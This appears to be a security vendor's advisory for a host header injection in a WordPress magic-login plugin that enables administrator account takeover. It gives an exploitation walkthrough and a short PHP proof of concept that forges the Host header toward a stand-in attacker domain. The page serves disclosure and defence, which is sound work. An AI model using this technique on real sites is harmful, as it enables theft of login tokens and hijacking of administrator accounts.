Opens in a new tab
Published : November 17, 2026

CVE-2026-126721: Magic Login Mail or QR Code <= 2.07 Unauthenticated Privilege Escalation via Account Takeover to Host Header Injection in curpageurl() Magic-Login URL PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 269
Vulnerable Version 2.07
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-126721 (metadata-based):

This vulnerability affects the Magic Login Mail or QR Code WordPress plugin through version 2.07. It is an unauthenticated privilege escalation and account takeover flaw. The plugin’s `curpageurl()` function falls back to the raw `$_SERVER[‘HTTP_HOST’]` header when `get_the_permalink()` returns empty or false. This allows an attacker to control the origin of magic-login URLs generated by `generate_url()` and delivered via `wp_mail()`. CVSS score 7.5 (High) reflects network attack vector, high complexity, no privileges required, user interaction required, and high confidentiality, integrity, and availability impact. CWE-269 (Improper Privilege Management) confirms the privilege escalation classification.

Root Cause: Atomic Edge analysis infers the root cause from the CWE and description. The `curpageurl()` function does not validate the Host header against the site’s configured origin (`home_url()` or `site_url()`) before using it to build the magic-login URL. When `get_the_permalink()` fails (e.g., on a 404 page or in a block-theme header template part), the function uses `$_SERVER[‘HTTP_HOST’]` directly. This is a classic host header injection issue. The description confirms the lack of validation and the fallback behavior. The exact code is not available for review; conclusions are inferred from the metadata.

Exploitation: An unauthenticated attacker sends a request to a page where the `[magic_login]` shortcode renders and `get_the_permalink()` returns empty or false. The request includes a crafted `Host` header pointing to an attacker-controlled domain. The plugin generates a magic-login link with that domain as the origin and emails it to the target administrator. When the administrator clicks the link, the one-time uid and token are sent to the attacker’s server (via the Host header domain). The attacker captures these values and replays them against the real site’s magic-login endpoint. The `autologin_via_url()` function then calls `wp_set_auth_cookie()`, establishing an authenticated session for the targeted administrator account. The attacker must know the administrator’s email address and the administrator must click the link. No specific AJAX action or REST route is named in the CVE metadata; the attack targets the shortcode rendering path.

Remediation: The fix in version 2.08 likely validates the Host header against the site’s configured origin (`home_url()` or `site_url()`) before using it in `curpageurl()`. Alternatively, the plugin should consistently use `home_url()` or `site_url()` to construct magic-login URLs rather than relying on `get_the_permalink()` or the Host header. The patch probably adds a check that the Host header matches the expected domain or uses a safe fallback. Atomic Edge research infers these remediation steps from the CWE and description.

Impact: Successful exploitation allows an attacker to take over a targeted administrator account on the WordPress site. The attacker gains full administrative control, including the ability to install plugins, modify content, create users, and potentially execute arbitrary code. The attacker cannot escalate their own account; they hijack an existing privileged account. The attack requires user interaction (administrator clicking the link) and knowledge of the administrator’s email address, which increases complexity but does not reduce the severity of the outcome.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-126721 - Magic Login Mail or QR Code <= 2.07 - Unauthenticated Privilege Escalation via Account Takeover to Host Header Injection in curpageurl() Magic-Login URL

// This PoC demonstrates the host header injection vector. It does NOT perform the full account takeover
// because that requires the attacker to control a domain, receive the magic-login link, and have the
// administrator click it. The script sends a request with a malicious Host header to a page where the
// [magic_login] shortcode is rendered and get_the_permalink() returns empty (e.g., a 404 page).
// The attacker must then monitor the malicious domain for incoming magic-login links.

$target_url = 'http://example.com/nonexistent-page'; // Page where shortcode renders and permalink is empty
$malicious_host = 'attacker.example.com'; // Attacker-controlled domain

// The request simulates a browser visiting the target page with a forged Host header.
// The plugin will generate a magic-login link with the malicious host as origin and email it to the admin.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Host: ' . $malicious_host
));
// Optionally set a user agent to appear legitimate
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; AtomicEdgePoC/1.0)');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent request to $target_url with Host: $malicious_hostn";
echo "HTTP status: $http_coden";
echo "Response length: " . strlen($response) . " bytesn";
echo "Check the attacker's domain logs for incoming magic-login links.n";

// Note: This PoC assumes the target page renders the [magic_login] shortcode and that the web server
// forwards the Host header without modification. The attacker must also know the target admin's email
// and induce them to click the link. Full exploitation is not automated here.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.